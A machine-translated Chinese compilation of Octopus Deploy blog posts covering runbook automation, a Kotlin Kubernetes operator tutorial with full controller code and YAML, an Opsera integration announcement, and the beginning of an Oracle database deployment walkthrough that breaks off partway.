传统上，runbook 是一个文档，它列出了保持应用程序平稳运行所需执行的 IT 流程。大多数团队都有这样的东西。它们通常以 Word 文档、wiki 页面或服务管理系统的形式出现。人们通常会将它们打印出来，并在走过这些步骤时打勾。
团队使用操作手册有两个核心原因:
- 日常操作任务，如数据库管理和服务维护。
- 紧急情况和事件响应，如网站故障转移和计划外基础设施中断。
运行手册自动化是一种通过自动化执行操作程序和解决事故的步骤来改进传统运行手册文档的方法。runbook 文档和 runbook 自动化的结合带来了许多好处:
- Runbooks 在团队之间获取和共享知识，它们非常适合 DevOps 世界中的团队。开发人员、运营人员以及随叫随到的员工。不需要专业领域知识。
- Runbook 自动化速度更快，减少了人为错误。传统上，操作手册是书面流程，虽然文档很好，但自动化更好。脚本是可测试的、可重复的，并且可以随着时间的推移而改进。
- 减少摩擦和事故解决时间。在紧急情况下，运行手册自动化减少了以快速有效的方式解决问题的摩擦。
为什么使用 Octopus 进行 runbook 自动化？
记录和编写操作流程已经成为可能，那么为什么还要使用 Octopus 操作手册呢？
- 操作手册和部署流程是并行的。Octopus 中的 Runbooks 旨在自动化操作任务，它们可以共享配置设置、秘密、步骤模板、脚本等。操作手册是轻量级的自动化流程，针对您的基础架构执行，无需经过部署生命周期(即开发、测试、生产)。
- **八达通已经知道你的基础设施。**运行手册利用您的应用所部署到的基础设施，因此无需新的配置，减少了开始运行运营流程的摩擦。
- **安全性、权限和审计。**运行手册由 Octopus 管理和执行，为您提供可在回顾中查看的完整审计跟踪，让您轻松了解发生了什么、何时发生、为什么发生，以及是否需要更改任何内容。Octopus 使团队能够通过高级安全性和权限控制谁可以在什么环境中执行哪些操作手册。
- 更好的应急管理和更短的事件解决时间。有了 Octopus Runbooks，不需要本地工具，不需要额外的权限，并且您有一个详细的审计日志。随叫随到的团队成员可以快速执行操作手册，而无需担心依赖性或基础设施。
- 可发现性和可见性。Octopus 为团队创建了一个管理、控制、审计、安排和执行操作手册的中心位置。您可以看到 runbook 最后一次执行的时间，可以看到 runbook 的更改，并且可以针对不同的环境运行相同的 runbook。团队成员可以很容易地找到一本操作手册，然后点击一个绿色的大按钮来运行它。每个人都可以看到最后一次运行的输出，以及它是否成功。
- **世界级的调度和执行。**按需执行运行手册或以任意频率进行调度。
运行手册场景
我想强调一些 runbooks 大放异彩的场景。
Runbook 示例:web 应用程序和 web 服务恢复
https://www.youtube.com/embed/VuSHB0Re9Mo
VIDEO
由于各种各样的问题，web 应用程序和服务出现问题是很常见的。这些可能是内存泄漏或无法解释的性能问题。在 Windows 服务器领域，这些问题通常通过回收 IIS web 服务器应用程序池来解决，而在 Linux 领域，通常需要重新加载 NGINX 或重启托管应用程序的 docker 容器。这并没有解决潜在的问题，但是它使团队能够解决问题，以便他们能够进行适当的修复。有时，这种情况偶尔发生，执行操作手册是长期的解决方案。
在 Octopus 中，构建一个 runbook 过程(runbook 示例)来自动化这个过程是很简单的:
- Web 服务器步骤模板或定制脚本(PowerShell、Bash 或 Python)。
- 时差或电子邮件通知。
这是一个非常常见的 runbook 示例。
Runbook 示例:数据库管理
https://www.youtube.com/embed/dAYx8fMV4to
VIDEO
数据库管理通常是一个缓慢的过程，需要给数据库管理团队(DBA)发电子邮件才能完成。DBA 不信任开发人员或操作人员是很常见的。数据库是现代应用程序的重要组成部分，有大量的数据库任务可以被请求，包括:
- 数据库备份。
- 用清理过的生产数据刷新测试数据库。
- 重建索引以解决缓慢的查询。
- 当员工离开公司时撤销权限。
这些流程是运行手册自动化的理想选择。与数据库管理员合作在 Octopus 中构建这些操作手册是建立信任和减少 DBA 日常维护请求数量的好方法。
在 Octopus 中，很容易通过以下步骤为这些任务配置 runbook 流程(runbook 示例):
- SQL 步骤模板或自定义脚本(PowerShell、Bash 或 Python)。
- 时差或电子邮件通知。
这个项目可以被认为是一个 runbook 模板，因为它可以被克隆用于不同的任务。
结论
Operations Runbooks 已经发布，它帮助团队保持他们的应用程序平稳运行。Octopus 中的 Runbooks 从其发布管理和部署自动化的历史中带来了许多好处。它们帮助团队自动化日常维护等操作任务，并在出现问题时进行恢复。
使用 Kotlin - Octopus Deploy 创建 Kubernetes 操作员
大多数环境最初会将其 Kubernetes 集群视为编排容器和配置容器间流量的工具。Kubernetes 通过提供所需容器状态及其连接的声明性描述，很好地支持了这个用例。
当以这种方式使用时，开发人员和操作人员坐在集群之外，向内看。集群是通过对kubectl的调用来管理的，这些调用是以特别的方式或从 CI/CD 管道发出的。这意味着 Kubernetes 本身是相当天真的；它知道如何重新配置自己以匹配所需的状态，但它不知道该状态代表什么。
例如，一个常见的 Kubernetes 部署可能会创建三个 pod:一个前端 web 应用程序、一个后端 web 服务和一个数据库。开发人员很好地理解了这些 pod 之间的关系，将它们部署为经典的三层架构，但是 Kubernetes 实际上只看到了三个要部署、监控和暴露于网络流量的 pod。
operator 模式已经发展成为一种在 Kubernetes 集群本身中封装业务知识和操作工作流的方式，允许一个集群使用公共的低级资源(如 pods、服务和部署等)来实现高级的、特定于领域的概念。
该术语最初是由 Brandon Philips 在博客文章中提出的，他给出了如下定义:
它建立在基本的 Kubernetes 资源和控制器概念的基础上，但是包含了用于自动化常见任务的领域或应用程序特定的知识。
该定义中确定的三个关键组成部分是:
- 资源
- 控制器
- 特定于领域或应用的知识
实际上，资源意味着自定义资源定义(CRD)，控制器意味着集成到 Kubernetes API 并对其做出响应的应用，应用特定知识是在控制器中实现的逻辑，以具体化来自标准 Kubernetes 资源的高级概念。
为了理解操作符模式，让我们看一个用 Kotlin 编写的简单例子。这个操作符的代码可以从 GitHub 获得，它基于这个 RedHat 博客的代码。运营商将使用带有WebServer CRD 的 web 服务器和控制器的概念来扩展 Kubernetes 集群，该控制器使用已知的映像来构建 pod，以公开一个示例 web 服务器。
CRD 满足资源需求，我们将编写的与 Kubernetes API 交互的代码满足控制器需求，并且特定 Docker 映像用于公开样本 web 服务器的知识是应用特定知识。
pom.xml 文件
我们从 Maven pom.xml文件开始。该文件定义了 Kotlin 本身和 fabric8 Kubernetes 客户端库所需的依赖关系。完整的pom.xml文件如下所示:
<?xml version="1.0" encoding="UTF-8"?>
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.octopus</groupId>
<artifactId>kotlink8soperator</artifactId>
<version>1.0</version>
<properties>
<kotlin.version>1.3.61</kotlin.version>
<version.fabric8.client>4.7.0</version.fabric8.client>
</properties>
<dependencies>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-stdlib</artifactId>
<version>${kotlin.version}</version>
</dependency>
<dependency>
<groupId>io.fabric8</groupId>
<artifactId>kubernetes-client</artifactId>
<version>${version.fabric8.client}</version>
</dependency>
</dependencies>
<build>
<sourceDirectory>${project.basedir}/src/main/kotlin</sourceDirectory>
<testSourceDirectory>${project.basedir}/src/test/kotlin</testSourceDirectory>
<plugins>
<plugin>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-maven-plugin</artifactId>
<version>${kotlin.version}</version>
<executions>
<execution>
<id>compile</id>
<goals>
<goal>compile</goal>
</goals>
</execution>
<execution>
<id>test-compile</id>
<goals>
<goal>test-compile</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
剖析库伯内特斯资源
在深入研究 Kotlin 代码之前，我们需要了解所有 Kubernetes 资源的公共结构。下面是 YAML 对部署资源的定义，我们将以此为例:
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.7.9
ports:
- containerPort: 80
status:
availableReplicas: 2
observedGeneration: 1
readyReplicas: 2
replicas: 2
updatedReplicas: 2
这种资源可以分为四个部分。
第一个组件是组、版本和种类(GVK)。部署资源有一组apps，一个版本的v1，一种Deployment:
apiVersion: apps/v1
kind: Deployment
第二个组成部分是元数据。这是定义标签、注释、名称和命名空间的地方:
metadata:
name: nginx-deployment
labels:
app: nginx
第三个组件是规范，它定义了特定资源的属性:
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.7.9
ports:
- containerPort: 80
第四个组成部分是地位。该组件中的详细信息由 Kubernetes 生成，以反映资源的当前状态:
status:
availableReplicas: 2
observedGeneration: 1
readyReplicas: 2
replicas: 2
updatedReplicas: 2
CRD 班级
现在我们知道了构成 Kubernetes 资源的组件，我们可以看看反映由操作者实现的 CRD 的代码。
我们正在创建一个名为WebServer的新 CRD，它由一个名为WebServer的类来表示。该类有两个定义规格和状态的属性:
package com.octopus.webserver.operator.crd
import io.fabric8.kubernetes.client.CustomResource
data class WebServer(var spec: WebServerSpec = WebServerSpec(),
var status: WebServerStatus = WebServerStatus()) : CustomResource()
我们的 CRD 的规格在WebServerSpec类中表示。它有一个名为replicas的字段，指示这个 CRD 负责创建多少个 web 服务器单元:
package com.octopus.webserver.operator.crd
import com.fasterxml.jackson.databind.annotation.JsonDeserialize
import io.fabric8.kubernetes.api.model.KubernetesResource
@JsonDeserialize
data class WebServerSpec(val replicas: Int = 0) : KubernetesResource
我们 CRD 的地位是在WebServerStatus类中表现出来的。它包含一个名为count的字段，报告已经创建了多少个 pod:
package com.octopus.webserver.operator.crd
import com.fasterxml.jackson.databind.annotation.JsonDeserialize
import io.fabric8.kubernetes.api.model.KubernetesResource
@JsonDeserialize
data class WebServerStatus(var count: Int = 0) : KubernetesResource
最后两个类称为WebServerList和DoneableWebServer，不包含定制属性或逻辑，是 fabric8 库所需的样板代码:
package com.octopus.webserver.operator.crd
import io.fabric8.kubernetes.client.CustomResourceList
class WebServerList : CustomResourceList<WebServer>()
package com.octopus.webserver.operator.crd
import io.fabric8.kubernetes.client.CustomResourceDoneable
import io.fabric8.kubernetes.api.builder.Function
class DoneableWebServer(resource: WebServer, function: Function<WebServer,WebServer>) :
CustomResourceDoneable<WebServer>(resource, function)
主要功能
main()函数是我们控制器的入口点。以下是完整的代码:
package com.octopus.webserver.operator
import com.octopus.webserver.operator.controller.WebServerController
import com.octopus.webserver.operator.crd.WebServer
import com.octopus.webserver.operator.crd.WebServerList
import io.fabric8.kubernetes.api.model.Pod
import io.fabric8.kubernetes.api.model.PodList
import io.fabric8.kubernetes.api.model.apiextensions.CustomResourceDefinitionBuilder
import io.fabric8.kubernetes.client.DefaultKubernetesClient
import io.fabric8.kubernetes.client.dsl.base.CustomResourceDefinitionContext
fun main(args: Array<String>) {
val client = DefaultKubernetesClient()
client.use {
val namespace = client.namespace ?: "default"
val podSetCustomResourceDefinition = CustomResourceDefinitionBuilder()
.withNewMetadata().withName("webservers.demo.k8s.io").endMetadata()
.withNewSpec()
.withGroup("demo.k8s.io")
.withVersion("v1alpha1")
.withNewNames().withKind("WebServer").withPlural("webservers").endNames()
.withScope("Namespaced")
.endSpec()
.build()
val webServerCustomResourceDefinitionContext = CustomResourceDefinitionContext.Builder()
.withVersion("v1alpha1")
.withScope("Namespaced")
.withGroup("demo.k8s.io")
.withPlural("webservers")
.build()
val informerFactory = client.informers()
val podSharedIndexInformer = informerFactory.sharedIndexInformerFor(
Pod::class.java,
PodList::class.java,
10 * 60 * 1000.toLong())
val webServerSharedIndexInformer = informerFactory.sharedIndexInformerForCustomResource(
webServerCustomResourceDefinitionContext,
WebServer::class.java,
WebServerList::class.java,
10 * 60 * 1000.toLong())
val webServerController = WebServerController(
client,
podSharedIndexInformer,
webServerSharedIndexInformer,
podSetCustomResourceDefinition,
namespace)
webServerController.create()
informerFactory.startAllRegisteredInformers()
webServerController.run()
}
}
我们创建了一个DefaultKubernetesClient，它允许我们访问 Kubernetes API:
val client = DefaultKubernetesClient()
客户机知道如何根据它执行的环境来配置自己。测试时，我们将在本地运行这段代码，这意味着客户端将从~/.kube/config文件中访问 Kubernetes 集群的详细信息。然后从客户端的配置中提取名称空间，或者如果没有找到名称空间设置，则设置为default:
val namespace = client.namespace ?: "default"
CustomResourceDefinitionBuilder定义了该控制器管理的WebServer CRD。这在与客户端一起更新群集中的资源时使用。
val podSetCustomResourceDefinition = CustomResourceDefinitionBuilder()
.withNewMetadata().withName("webservers.demo.k8s.io").endMetadata()
.withNewSpec()
.withGroup("demo.k8s.io")
.withVersion("v1alpha1")
.withNewNames().withKind("WebServer").withPlural("webservers").endNames()
.withScope("Namespaced")
.endSpec()
.build()
控制器通过监听指示它应该管理的资源已经改变的事件来工作。为了监听与WebServer CRD 相关的事件，我们创建了一个CustomResourceDefinitionContext:
val webServerCustomResourceDefinitionContext = CustomResourceDefinitionContext.Builder()
.withVersion("v1alpha1")
.withScope("Namespaced")
.withGroup("demo.k8s.io")
.withPlural("webservers")
.build()
我们通过通知者得到事件通知，而通知者是从客户提供的工厂创建的:
val informerFactory = client.informers()
在这里，我们创建一个通知程序，通知我们与 pod 相关的事件。因为 pods 是 Kubernetes 中的标准资源，所以创建这个 informer 不需要CustomResourceDefinitionContext:
val podSharedIndexInformer = informerFactory.sharedIndexInformerFor(
Pod::class.java,
PodList::class.java,
10 * 60 * 1000.toLong())
在这里，我们创建一个线人，它会通知我们与 CRD 相关的事件。这需要之前创建的CustomResourceDefinitionContext:
val webServerSharedIndexInformer = informerFactory.sharedIndexInformerForCustomResource(
webServerCustomResourceDefinitionContext,
WebServer::class.java,
WebServerList::class.java,
10 * 60 * 1000.toLong())
操作符的逻辑包含在控制器中。在这个项目中，WebServerController类完成了控制器的角色:
val webServerController = WebServerController(
client,
podSharedIndexInformer,
webServerSharedIndexInformer,
podSetCustomResourceDefinition,
namespace)
控制器在create()方法中链接事件处理程序，我们开始监听事件，然后通过调用run()方法进入协调循环:
webServerController.create()
informerFactory.startAllRegisteredInformers()
webServerController.run()
控制器
WebServerController类在我们的操作符中实现控制器。它的工作是监听 Kubernetes 资源的变化，并使当前状态与期望状态相一致。该类的完整代码如下所示:
package com.octopus.webserver.operator.controller
import com.octopus.webserver.operator.crd.DoneableWebServer
import com.octopus.webserver.operator.crd.WebServer
import com.octopus.webserver.operator.crd.WebServerList
import io.fabric8.kubernetes.api.model.OwnerReference
import io.fabric8.kubernetes.api.model.Pod
import io.fabric8.kubernetes.api.model.PodBuilder
import io.fabric8.kubernetes.api.model.apiextensions.CustomResourceDefinition
import io.fabric8.kubernetes.client.KubernetesClient
import io.fabric8.kubernetes.client.informers.ResourceEventHandler
import io.fabric8.kubernetes.client.informers.SharedIndexInformer
import io.fabric8.kubernetes.client.informers.cache.Cache
import io.fabric8.kubernetes.client.informers.cache.Lister
import java.util.*
import java.util.AbstractMap.SimpleEntry
import java.util.concurrent.ArrayBlockingQueue
class WebServerController(private val kubernetesClient: KubernetesClient,
private val podInformer: SharedIndexInformer<Pod>,
private val webServerInformer: SharedIndexInformer<WebServer>,
private val webServerResourceDefinition: CustomResourceDefinition,
private val namespace: String) {
private val APP_LABEL = "app"
private val webServerLister = Lister<WebServer>(webServerInformer.indexer, namespace)
private val podLister = Lister<Pod>(podInformer.indexer, namespace)
private val workQueue = ArrayBlockingQueue<String>(1024)
fun create() {
webServerInformer.addEventHandler(object : ResourceEventHandler<WebServer> {
override fun onAdd(webServer: WebServer) {
enqueueWebServer(webServer)
}
override fun onUpdate(webServer: WebServer, newWebServer: WebServer) {
enqueueWebServer(newWebServer)
}
override fun onDelete(webServer: WebServer, b: Boolean) {}
})
podInformer.addEventHandler(object : ResourceEventHandler<Pod> {
override fun onAdd(pod: Pod) {
handlePodObject(pod)
}
override fun onUpdate(oldPod: Pod, newPod: Pod) {
if (oldPod.metadata.resourceVersion == newPod.metadata.resourceVersion) {
return
}
handlePodObject(newPod)
}
override fun onDelete(pod: Pod, b: Boolean) {}
})
}
private fun enqueueWebServer(webServer: WebServer) {
val key: String = Cache.metaNamespaceKeyFunc(webServer)
if (key.isNotEmpty()) {
workQueue.add(key)
}
}
private fun handlePodObject(pod: Pod) {
val ownerReference = getControllerOf(pod)
if (ownerReference?.kind?.equals("WebServer", ignoreCase = true) != true) {
return
}
webServerLister
.get(ownerReference.name)
?.also { enqueueWebServer(it) }
}
private fun getControllerOf(pod: Pod): OwnerReference? =
pod.metadata.ownerReferences.firstOrNull { it.controller }
private fun reconcile(webServer: WebServer) {
val pods = podCountByLabel(APP_LABEL, webServer.metadata.name)
val existingPods = pods.size
webServer.status.count = existingPods
updateStatus(webServer)
if (existingPods < webServer.spec.replicas) {
createPod(webServer)
} else if (existingPods > webServer.spec.replicas) {
kubernetesClient
.pods()
.inNamespace(webServer.metadata.namespace)
.withName(pods[0])
.delete()
}
}
private fun updateStatus(webServer: WebServer) =
kubernetesClient.customResources(webServerResourceDefinition, WebServer::class.java, WebServerList::class.java, DoneableWebServer::class.java)
.inNamespace(webServer.metadata.namespace)
.withName(webServer.metadata.name)
.updateStatus(webServer)
private fun podCountByLabel(label: String, webServerName: String): List<String> =
podLister.list()
.filter { it.metadata.labels.entries.contains(SimpleEntry(label, webServerName)) }
.filter { it.status.phase == "Running" || it.status.phase == "Pending" }
.map { it.metadata.name }
private fun createPod(webServer: WebServer) =
createNewPod(webServer).let { pod ->
kubernetesClient.pods().inNamespace(webServer.metadata.namespace).create(pod)
}
private fun createNewPod(webServer: WebServer): Pod =
PodBuilder()
.withNewMetadata()
.withGenerateName(webServer.metadata.name.toString() + "-pod")
.withNamespace(webServer.metadata.namespace)
.withLabels(Collections.singletonMap(APP_LABEL, webServer.metadata.name))
.addNewOwnerReference()
.withController(true)
.withKind("WebServer")
.withApiVersion("demo.k8s.io/v1alpha1")
.withName(webServer.metadata.name)
.withNewUid(webServer.metadata.uid)
.endOwnerReference()
.endMetadata()
.withNewSpec()
.addNewContainer().withName("nginx").withImage("nginxdemos/hello").endContainer()
.endSpec()
.build()
fun run() {
blockUntilSynced()
while (true) {
try {
workQueue
.take()
.split("/")
.toTypedArray()[1]
.let { webServerLister.get(it) }
?.also { reconcile(it) }
} catch (interruptedException: InterruptedException) {
// ignored
}
}
}
private fun blockUntilSynced() {
while (!podInformer.hasSynced() || !webServerInformer.hasSynced()) {}
}
}
create()方法将匿名类指定为 informer 事件处理程序。事件处理器通过调用enqueueWebServer()或handlePodObject()来识别需要处理的WebServer CRDs 的实例:
fun create() {
webServerInformer.addEventHandler(object : ResourceEventHandler<WebServer> {
override fun onAdd(webServer: WebServer) {
enqueueWebServer(webServer)
}
override fun onUpdate(webServer: WebServer, newWebServer: WebServer) {
enqueueWebServer(newWebServer)
}
override fun onDelete(webServer: WebServer, b: Boolean) {}
})
podInformer.addEventHandler(object : ResourceEventHandler<Pod> {
override fun onAdd(pod: Pod) {
handlePodObject(pod)
}
override fun onUpdate(oldPod: Pod, newPod: Pod) {
if (oldPod.metadata.resourceVersion == newPod.metadata.resourceVersion) {
return
}
handlePodObject(newPod)
}
override fun onDelete(pod: Pod, b: Boolean) {}
})
}
enqueueWebServer()创建一个标识WebServer CRD 的关键字，并将其添加到workQueue:
private fun enqueueWebServer(webServer: WebServer) {
val key: String = Cache.metaNamespaceKeyFunc(webServer)
if (key.isNotEmpty()) {
workQueue.add(key)
}
}
handlePodObject()首先通过 ownerReference 确定 pod 是否由WebServer管理。如果是，通过调用enqueueWebServer()将所属WebServer添加到workQueue中:
private fun handlePodObject(pod: Pod) {
val ownerReference = getControllerOf(pod)
if (ownerReference?.kind?.equals("WebServer", ignoreCase = true) != true) {
return
}
webServerLister
.get(ownerReference.name)
?.also { enqueueWebServer(it) }
}
private fun getControllerOf(pod: Pod): OwnerReference? =
pod.metadata.ownerReferences.firstOrNull { it.controller }
reconcile()提供逻辑，确保集群拥有与WebServer CRD 所需数量一样多的机架。它调用podCountByLabel()来找出存在多少个 pod，并通过调用updateStatus()来更新 CRD 的状态。如果满足要求的荚太少，就叫createPod()。如果有太多的 pod，则删除一个。
通过不断地创建或删除 pod 来将集群推向期望的状态，我们将最终满足WebServer CRD 的要求:
private fun reconcile(webServer: WebServer) {
val pods = podCountByLabel(APP_LABEL, webServer.metadata.name)
val existingPods = pods.size
webServer.status.count = existingPods
updateStatus(webServer)
if (existingPods < webServer.spec.replicas) {
createPod(webServer)
} else if (existingPods > webServer.spec.replicas) {
kubernetesClient
.pods()
.inNamespace(webServer.metadata.namespace)
.withName(pods[0])
.delete()
}
}
使用客户端更新我们的定制资源的状态组件。状态组件是唯一的，因为更新它不会在我们的代码中触发更新事件。只有控制器可以更新资源的状态组件，Kubernetes 被设计为防止状态更新触发无限事件循环:
private fun updateStatus(webServer: WebServer) =
kubernetesClient.customResources(webServerResourceDefinition, WebServer::class.java, WebServerList::class.java, DoneableWebServer::class.java)
.inNamespace(webServer.metadata.namespace)
.withName(webServer.metadata.name)
.updateStatus(webServer)
podCountByLabel()返回由 CRD 管理的正在运行或正在创建的 pod 的名称:
private fun podCountByLabel(label: String, webServerName: String): List<String> =
podLister.list()
.filter { it.metadata.labels.entries.contains(SimpleEntry(label, webServerName)) }
.filter { it.status.phase == "Running" || it.status.phase == "Pending" }
.map { it.metadata.name }
createPod()和createNewPod()创建一个新的 pod。正是在这里，我们的业务逻辑通过使用nginxdemos/hello Docker 映像作为我们的测试 web 服务器而被编码:
private fun createPod(webServer: WebServer) =
createNewPod(webServer).let { pod ->
kubernetesClient.pods().inNamespace(webServer.metadata.namespace).create(pod)
}
private fun createNewPod(webServer: WebServer): Pod =
PodBuilder()
.withNewMetadata()
.withGenerateName(webServer.metadata.name.toString() + "-pod")
.withNamespace(webServer.metadata.namespace)
.withLabels(Collections.singletonMap(APP_LABEL, webServer.metadata.name))
.addNewOwnerReference()
.withController(true)
.withKind("WebServer")
.withApiVersion("demo.k8s.io/v1alpha1")
.withName(webServer.metadata.name)
.withNewUid(webServer.metadata.uid)
.endOwnerReference()
.endMetadata()
.withNewSpec()
.addNewContainer().withName("nginx").withImage("nginxdemos/hello").endContainer()
.endSpec()
.build()
run()方法是一个无限循环，不断消耗由事件监听器添加到workQueue的 web 服务器资源 ID，并将其传递给reconcile()方法:
fun run() {
blockUntilSynced()
while (true) {
try {
workQueue
.take()
.split("/")
.toTypedArray()[1]
.let { webServerLister.get(it) }
?.also { reconcile(it) }
} catch (interruptedException: InterruptedException) {
// ignored
}
}
}
private fun blockUntilSynced() {
while (!podInformer.hasSynced() || !webServerInformer.hasSynced()) {}
}
CRD·YAML
操作符的最后一部分是 CRD 本身。CRD 是另一种 Kubernetes 资源，我们在以下 YAML 中对其进行了定义:
apiVersion: apiextensions.k8s.io/v1beta1
kind: CustomResourceDefinition
metadata:
name: webservers.demo.k8s.io
spec:
group: demo.k8s.io
version: v1alpha1
names:
kind: WebServer
plural: webservers
scope: Namespaced
subresources:
status: {}
把所有的放在一起
要运行该操作符，我们首先需要应用 CRD YAML:
kubectl apply -f crd.yml
然后，我们用 YAML 创建 CRD 的一个实例:
apiVersion: demo.k8s.io/v1alpha1
kind: WebServer
metadata:
name: example-webserver
spec:
replicas: 5
然后，控制器可以在本地运行。因为我们在代码中使用的客户端知道如何根据它运行的位置来配置自己，所以在本地执行我们的代码意味着客户端从~/.kube/config文件中配置自己。在下面的截图中，您可以看到控制器直接从我的 IDE 中运行:
控制器响应新的 web 服务器 CRD 并创建所需的 pod:
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
example-webserver-pod92ht9 1/1 Running 0 54s
example-webserver-podgbz86 1/1 Running 0 54s
example-webserver-podk58gz 1/1 Running 0 54s
example-webserver-podkftmp 1/1 Running 0 54s
example-webserver-podpwzrt 1/1 Running 0 54s
web 服务器资源的状态更新为其成功创建的 pod 的count:
$ kubectl get webservers -n default -o yaml
apiVersion: v1
items:
- apiVersion: demo.k8s.io/v1alpha1
kind: WebServer
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"demo.k8s.io/v1alpha1","kind":"WebServer","metadata":{"annotations":{},"name":"example-webserver","namespace":"default"},"spec":{"replicas":5}}
creationTimestamp: "2020-01-16T20:19:23Z"
generation: 1
name: example-webserver
namespace: default
resourceVersion: "112308"
selfLink: /apis/demo.k8s.io/v1alpha1/namespaces/default/webservers/example-webserver
uid: 9eb08575-8fa1-4bc9-bb2b-6f11b7285b68
spec:
replicas: 5
status:
count: 5
kind: List
metadata:
resourceVersion: ""
selfLink: ""
运营商的力量
没有操作员，测试 web 服务器的概念就存在于集群之外。开发人员可能已经在他们用来创建测试舱的 YAML 周围发了电子邮件，但是更有可能的是，每个人都有自己对测试 web 服务器的看法。
我们创建的操作符用一个测试 web 服务器的特定实现扩展了我们的 Kubernetes 集群。封装这些业务知识允许集群创建和管理特定于我们环境的高级概念。
创建和管理新资源只是运营商可以做的事情的一个例子。像安全扫描、报告和负载测试这样的自动化任务对于操作员来说都是有效的用例。热门运营商列表可在这里获得。
结论
操作符是一种被大肆宣传但通常很少被理解的模式。根据描述操作符的原始博客文章中的定义，我们看到了操作符的三个简单部分:定义它们的资源、作用于 Kubernetes 资源的控制器和实现特定于应用程序的知识的逻辑。然后，我们在 Kotlin 中实现了一个简单的操作符来创建测试 web 服务器。
Opsera 与 Octopus 集成- Octopus 部署
原文：https://octopus.com/blog/opsera-integration-with-octopus-deploy
我们已经与 Opsera 合作，提供与 Octopus Deploy 的集成。您可以将 Octopus 与 Opsera 支持的 95+平台集成，作为其无代码 DevOps 编排平台的一部分。
自动化您的 CI/CD 渠道是一项挑战，尤其是当您使用不同的解决方案时。它需要技术知识和经验来编排开发团队所需的各种工具、管道和洞察力。这就是 Opsera 可以提供帮助的地方。
Opsera 提供自助服务平台，帮助您实现 CI/CD 渠道的自动化。您可以通过可视化界面来实现这一点，因此您可以创建具有统一洞察力的声明性管道。
启用后，Opsera 的集成通过其管道 UI 提供对 Octopus Deploy 中定义的资源的访问，如通道、环境、生命周期、项目、空间和租户。
入门指南
Opsera 和 Octopus Deploy 通过 Octopus API 进行通信。所以，第一步是在 Octopus 中创建一个 API 键。
这个 API 键代表您对 Octopus Deploy 执行操作。查看我们的文档来了解如何创建 API 密匙。
下一步是通过工具注册表在 Opsera 中注册 Octopus Deploy。该步骤的说明见 Opsera 文档中的节，在工具注册表中注册 Octopus 工具。
完成这一步后，您可以在 Opsera 的管道 UI 中使用 Octopus Deploy 集成。
Opsera 与 Octopus 的整合概述
Opsera 的一个强大功能是其可视化和编排管道工作流的能力:
这个工作流代表了一个基于 Java 的项目:通过命令行构建源代码→将工件推送到 Nexus repository →通过 Octopus Deploy 部署到 IIS。
Opsera 显示工作流程的每个步骤；每个步骤代表一个工具和一个要执行的操作。
编辑配置使您能够自定义其步骤包含的属性和操作:
这一步表示通过 Octopus Deploy 部署到 IIS。Opsera UI 公开了渠道、项目和角色等资源，提供了跨其支持的平台的一致体验。
建立管道后，它可以基于一系列事件或作为计划任务运行:
结论
Opsera 提供了一个自助服务平台，通过可视化界面帮助您自动化 CI/CD，因此您可以创建具有统一洞察力的声明性管道。
Octopus Deploy 加入了 Opsera 支持的 95+平台，作为其无代码 DevOps 编排平台的一部分。Opsera 的强大之处在于它能够轻松地将其他系统与 Octopus Deploy 集成在一起。
如果你是 Opsera 的客户，并且你对使用 Octopus Deploy 进行部署感兴趣，你可以注册免费试用。使用上面的步骤，您可以通过 Opsera 快速将我们的部署功能作为编排的一部分。
要了解更多信息，请观看关于 Opsera 和 Octopus 部署集成的免费网络研讨会。
愉快的部署！
使用 Octopus 和 Redgate Deployment Suite for Oracle 实现数据库部署自动化
在加入 Octopus Deploy 之前，我在一个. NET 应用程序上工作了大约三年，使用 Oracle 作为它的数据库。在 Octopus Deploy 版本发布前几年，我开始在那里工作。这些都是艰难的部署。一切都是手动的，我们只能在周六凌晨 2 点进行部署，部署需要两到四个小时。
谢天谢地，那些日子已经过去了。今天可用的工具比以前先进了好几光年。在这篇文章中，我将介绍如何将更改部署到 Oracle 数据库中。本文的目标是使用 TeamCity 作为构建服务器来构建整个 CI/CD 管道(尽管核心概念确实转移到了 Jenkins、Bamboo、TFS/VSTS/Azure DevOps)，Octopus Deploy 作为部署工具，Redgate Oracle 工具集在数据库端执行繁重的工作。
*免责声明:*我在 2010 年至 2013 年间使用甲骨文。Oracle 实例是 10g，我用 Benthic 和 SQL Developer 查询 Oracle。从那时起，发生了很多变化。我是一名 SQL Server 人员，毫无疑问，我在本文中做了一些愚蠢的事情，这些事情不再是最佳实践。
入门指南
如果您想继续学习，您需要下载并安装以下工具:
为了从 Oracle 下载任何东西，您必须创建一个帐户。我选择了个人版，因为就像 SQL Server Developer Edition 一样，它功能齐全，但在使用许可证时会受到限制，而且我只在这个演示中使用它。
出于本文的目的，我将部署到运行在 Windows 机器上的同一个 Oracle 数据库。然而，在现实环境中，您应该遵循与此类似的设置。
通过这种设置，您可以在 Octopus Deploy 和 Oracle 数据库前面的 VIP 之间的一个工人或一个 jumpbox 运行触手上安装一个触手。
创建源数据库
Redgate 的 Oracle 工具集是一个基于状态的工具。对于那些没有读过我以前文章的人来说，基于状态的工具是一种将数据库的期望状态保存到源代码控制中的工具。在部署过程中，会生成一个独特的增量脚本来针对 Oracle 数据库运行。该增量脚本将仅用于该环境的数据库。下一个环境将获得一个新的增量脚本。
我要从头开始。我设置了一个虚拟机并安装了 Oracle。接下来，我将创建一个源数据库。这个数据库将代表我希望所有其他数据库处于的理想状态。我将设置我的数据库，然后使用 Redgate 的 Oracle 源代码控制将它签入源代码控制。
我使用 Oracle 提供的数据库创建助手来创建数据库。
我将添加一个包含两列的新表:
我还会加入一个序列。对于那些不熟悉 Oracle 的人来说，当您想对 ID 字段使用自动递增的数字时，需要一个序列。好吧，反正是在老派神谕里。看起来事情有点变化。
最后，我将把序列和 ID 字段绑定在一起。这为我提供了一些准备部署到空白数据库的模式更改。您的更改很可能会更加复杂。
将 Oracle 与源代码管理捆绑在一起
